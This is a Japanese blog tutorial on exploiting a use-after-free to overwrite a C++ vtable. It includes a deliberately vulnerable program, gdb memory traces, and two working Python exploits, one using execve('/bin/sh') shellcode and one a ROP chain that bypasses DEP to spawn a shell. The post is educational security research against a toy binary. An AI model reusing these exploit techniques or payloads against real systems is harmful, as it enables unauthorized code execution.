use-after-freeによるC++ vtable overwriteをやってみる
一つ前のエントリではuse-after-freeによるGOT overwriteを行ったが、C++におけるvtable overwriteもヒープオーバーフローの場合と同様に行うことができる。 ここでは、use-after-freeによるC++ vtable overwriteを行い、シェルを起動してみる。 またDEPが有効な状況におけるシェル起動についても合わせてやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
まず、use-after-free脆弱性のあるプログラムコードを書く。
/* uaf.cpp */ #include <cstdio> #include <cstdlib> #include <cstring> using namespace std; class Block { char buf[100]; public: Block(char *buf) { strncpy(this->buf, buf, 100); } virtual void print() { puts(this->buf); } }; int main(int argc, char *argv[]) { Block *block = new Block(argv[1]); printf("[+] block = %p\n", block); block->print(); delete block; int size = atoi(argv[2]); char *newbuf = new char[size]; printf("[+] newbuf = %p\n", newbuf); strncpy(newbuf, argv[3], size); block->print(); delete[] newbuf; return 0; }
このコードでは、delete演算子により解放されたblock
が、メソッド呼び出しの形で再度参照されている。
また、その間にサイズを自由に指定可能なnewbuf
が新たに確保され、任意のデータを書き込めるようになっている。
Blockクラスのprint関数にはvirtualキーワードが指定されていることから、このクラスは仮想関数をメンバに持つ。
ASLR、DEP無効、SSP有効としてコンパイル・実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ g++ -z execstack uaf.cpp $ ./a.out AAAA 100 BBBB [+] block = 0x804b008 AAAA [+] newbuf = 0x804b008 Segmentation fault (core dumped)
解放されたblock
と同じアドレスにnewbuf
が確保され、セグメンテーション違反で落ちていることがわかる。
gdbでメモリの状態を調べてみる
gdbを使って、delete block;
が呼ばれる直前のメモリの状態を調べてみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) set print asm-demangle on (gdb) disas main Dump of assembler code for function main: ... 0x08048647 <+83>: call edx 0x08048649 <+85>: mov eax,DWORD PTR [esp+0x14] 0x0804864d <+89>: mov DWORD PTR [esp],eax 0x08048650 <+92>: call 0x80484b0 <_ZdlPv@plt> 0x08048655 <+97>: mov eax,DWORD PTR [ebp+0xc] 0x08048658 <+100>: add eax,0x8 0x0804865b <+103>: mov eax,DWORD PTR [eax] 0x0804865d <+105>: mov DWORD PTR [esp],eax 0x08048660 <+108>: call 0x80484f0 <atoi@plt> ... 0x080486a8 <+180>: call 0x80484c0 <strncpy@plt> 0x080486ad <+185>: mov eax,DWORD PTR [esp+0x14] 0x080486b1 <+189>: mov eax,DWORD PTR [eax] 0x080486b3 <+191>: mov edx,DWORD PTR [eax] 0x080486b5 <+193>: mov eax,DWORD PTR [esp+0x14] 0x080486b9 <+197>: mov DWORD PTR [esp],eax 0x080486bc <+200>: call edx ... End of assembler dump. (gdb) b *main+92 Breakpoint 1 at 0x8048650 (gdb) r AAAABBBB 100 CCCCDDDD Starting program: /home/user/tmp/a.out AAAABBBB 100 CCCCDDDD [+] block = 0x804b008 AAAABBBB Breakpoint 1, 0x08048650 in main () (gdb) x/20wx 0x804b008 0x804b008: 0x08048820 0x41414141 0x42424242 0x00000000 0x804b018: 0x00000000 0x00000000 0x00000000 0x00000000 0x804b028: 0x00000000 0x00000000 0x00000000 0x00000000 0x804b038: 0x00000000 0x00000000 0x00000000 0x00000000 0x804b048: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) x/4wx 0x08048820 0x8048820 <vtable for Block+8>: 0x0804870a 0x6f6c4235 0x00006b63 0x0804a048 (gdb) x/i 0x0804870a 0x804870a <Block::print()>: push ebp
delete block;
が呼ばれる直前の状態を調べると、0x804b008にvtableを指すポインタがあり、その先のvtableにBlock::print()
関数のアドレスが置かれていることがわかる。
さらに、strncpy関数でnewbufに文字列を書き込んだ直後まで進めてみる。
(gdb) u *main+185 [+] newbuf = 0x804b008 0x080486ad in main () (gdb) x/20wx 0x804b008 0x804b008: 0x43434343 0x44444444 0x00000000 0x00000000 0x804b018: 0x00000000 0x00000000 0x00000000 0x00000000 0x804b028: 0x00000000 0x00000000 0x00000000 0x00000000 0x804b038: 0x00000000 0x00000000 0x00000000 0x00000000 0x804b048: 0x00000000 0x00000000 0x00000000 0x00000000
解放されたblock
のアドレスに新たにnewbuf
が置かれ、vtableを指すポインタがあった箇所が0x43434343 (CCCC) で上書きされていることがわかる。
さらに進めると、セグメンテーション違反で落ちる。
(gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x080486b3 in main () (gdb) x/i $pc => 0x80486b3 <main+191>: mov edx,DWORD PTR [eax] (gdb) i r edx eax edx 0x0 0 eax 0x43434343 1128481603 (gdb) quit A debugging session is active. Inferior 1 [process 5567] will be killed. Quit anyway? (y or n) y
これは、vtableを指すポインタの中身が0x43434343に書き変わった結果、メモリの読み取りに失敗するためである。
以上の結果から、CCCCを偽のvtableのアドレスに書き換えることにより、block->print();
のタイミングで任意のアドレスにジャンプできることがわかる。
エクスプロイトコードを書いてみる
上の内容をもとに、シェルコードを実行するエクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen addr_newbuf = int(sys.argv[1], 16) # execve("/bin/sh", {"/bin/sh", NULL}, NULL) shellcode = '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' newbuf = struct.pack('<I', addr_newbuf+4) newbuf += struct.pack('<I', addr_newbuf+8) newbuf += shellcode size_newbuf = len(newbuf) p = Popen(['./a.out', 'AAAA', str(size_newbuf), newbuf]) p.wait()
このコードはblock
と同じ場所に確保されるnewbuf
のアドレスを引数に取る。
引数にアドレスをセットし、実行してみる。
$ python exploit.py 0x804b008 [+] block = 0x804b008 AAAA [+] newbuf = 0x804b008 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
vtableを指すポインタの値が書き変わり、シェルコードが実行されることが確認できた。
DEPを回避するエクスプロイトコードを書いてみる
次に、DEPが有効な状況においてROPによりシェルを起動するエクスプロイトコードを書いてみる。
ディスアセンブル結果を見ると、block->pointer();
が呼ばれるときedxレジスタにはジャンプ先のアドレス、eaxレジスタにはvtableを指すポインタがあるアドレスが入ることがわかる。
このときのメモリの状態を整理すると次のようになる。
0x804b008: 0x0804b00c <- eax 0x41414141 0xXXXXXXXX 0xXXXXXXXX 0x41414141: 0xYYYYYYYY <- edx
この場合、単純にxchg eax, esp
を使ってstack pivotしただけでは0x0804b00cにEIPが移ってしまい、うまくいかない。
そこで、ROP gadget探索ツールrp++を使い、利用できるgadgetがないか探してみる。 rp++はファイル単独で動かすことができ、ret命令で終わるパターンに加え、jmp命令で終わるパターン、call命令で終わるパターンも探すことができる。 rp++をダウンロードし、libcに含まれるROP gadgetを出力してみると次のようになる。
$ wget https://github.com/downloads/0vercl0k/rp/rp-lin-x86 $ chmod +x rp-lin-x86 $ ldd a.out libstdc++.so.6 => /usr/lib/i386-linux-gnu/libstdc++.so.6 (0xb7f10000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7d66000) libm.so.6 => /lib/i386-linux-gnu/libm.so.6 (0xb7d39000) /lib/ld-linux.so.2 (0x80000000) libgcc_s.so.1 => /lib/i386-linux-gnu/libgcc_s.so.1 (0xb7d1b000) $ readlink -e /lib/i386-linux-gnu/libc.so.6 /lib/i386-linux-gnu/libc-2.15.so $ ./rp-lin-x86 --file=/lib/i386-linux-gnu/libc-2.15.so --rop=3 --unique > gadgets.txt $ grep 'xchg eax' gadgets.txt 0x0010d7e2: adc al, 0x0F ; xchg eax, esp ; retn 0xC183 ; (1 found) 0x000b8f8e: adc al, 0x0F ; xchg eax, esp ; retn 0xD284 ; (1 found) 0x00041a25: adc byte [edi], cl ; xchg eax, ebp ; retn 0xB60F ; (1 found) 0x0010cec4: adc byte [edi], cl ; xchg eax, esp ; retn 0xD589 ; (1 found) 0x00105fb3: adc cl, byte [ebx+0x4C89960C] ; xchg eax, ebp ; add al, 0x83 ; retn 0x8501 ; (1 found) 0x000d4a2e: adc cl, byte [edi] ; xchg eax, esp ; retn 0x133C ; (1 found) 0x00048913: adc dword [edi], ecx ; xchg eax, esp ; retn 0xC183 ; (6 found) 0x001721cf: add ah, ah ; xchg eax, ebp ; cli ; jmp eax ; (1 found) 0x0017218f: add ah, ah ; xchg eax, ecx ; cli ; jmp eax ; (1 found) 0x00178cc3: add ah, bh ; xchg eax, edi ; in al, dx ; jmp dword [edi] ; (1 found) (snip)
出力したgadgets.txtを調べたところ、add al, 0x24; call dword [eax+0x10];
というgadgetが見つかった。
これを使いeax+0x34
の位置にxchg eax, esp
のアドレスを置けば、eax+0x24
にespを移すことができる。
エクスプロイトコードを書くと次のようになる。
# exploit2.py import sys import struct from subprocess import Popen addr_newbuf = int(sys.argv[1], 16) base_libc = int(sys.argv[2], 16) addr_libc_mod_eax = base_libc + 0x0006598e # 0x0006598e: add al, 0x24 ; call dword [eax+0x10] ; (4 found) addr_libc_pivot_eax = base_libc + 0x0009b8c9 # 0x0009b8c9: xchg eax, esp ; ret ; (10 found) addr_libc_system = base_libc + 0x0003f430 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " system" addr_libc_exit = base_libc + 0x00032fb0 # nm -D /lib/i386-linux-gnu/libc-2.15.so | grep " exit" addr_libc_binsh = base_libc + 0x161d98 # strings -tx /lib/i386-linux-gnu/libc-2.15.so | grep "/bin/sh" newbuf = struct.pack('<I', addr_newbuf+4) newbuf += struct.pack('<I', addr_libc_mod_eax) newbuf += 'A' * (0x24-len(newbuf)) newbuf += struct.pack('<I', addr_libc_system) newbuf += struct.pack('<I', addr_libc_exit) newbuf += struct.pack('<I', addr_libc_binsh) newbuf += 'A' * (0x24+0x10-len(newbuf)) newbuf += struct.pack('<I', addr_libc_pivot_eax) size_newbuf = len(newbuf) p = Popen(['./a.out', 'AAAA', str(size_newbuf), newbuf]) p.wait()
このコードはblock
と同じ場所に確保されるnewbuf
のアドレス、libcのベースアドレスを順に引数に取る。
ASLR無効、DEP、SSP有効でコンパイルし直し、引数をセットしてエクスプロイトコードを実行してみる。 ここで、libcのベースアドレスはgdbなどを利用して調べる。
$ g++ uaf.cpp $ python exploit.py 0x804b008 [+] block = 0x804b008 AAAA [+] newbuf = 0x804b008 $ python exploit2.py 0x804b008 0xb7d44000 [+] block = 0x804b008 AAAA [+] newbuf = 0x804b008 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
DEPが有効な条件下で、シェルコードの実行が失敗すること、その一方でROPによるシェル起動ができていることが確認できた。
関連リンク
- DANGLING POINTER: Smashing the Pointer for Fun and Profit (Black Hat USA 2007)
- Beginners Guide to "Use after free Exploits #IE 6 0-day #Exploit Development" - Fb1h2s aka Rahul Sasi's Blog
- FuzzySecurity | ExploitDev: Part 9: Spraying the Heap [Chapter 2: Use-After-Free] – Finding a needle in a Haystack
- Windows XP等の,IE脆弱性の攻撃方法「ヒープ・スプレー」と「Use After Free」を,HTMLサンプルコードで理解しよう - 主に言語とシステム開発に関して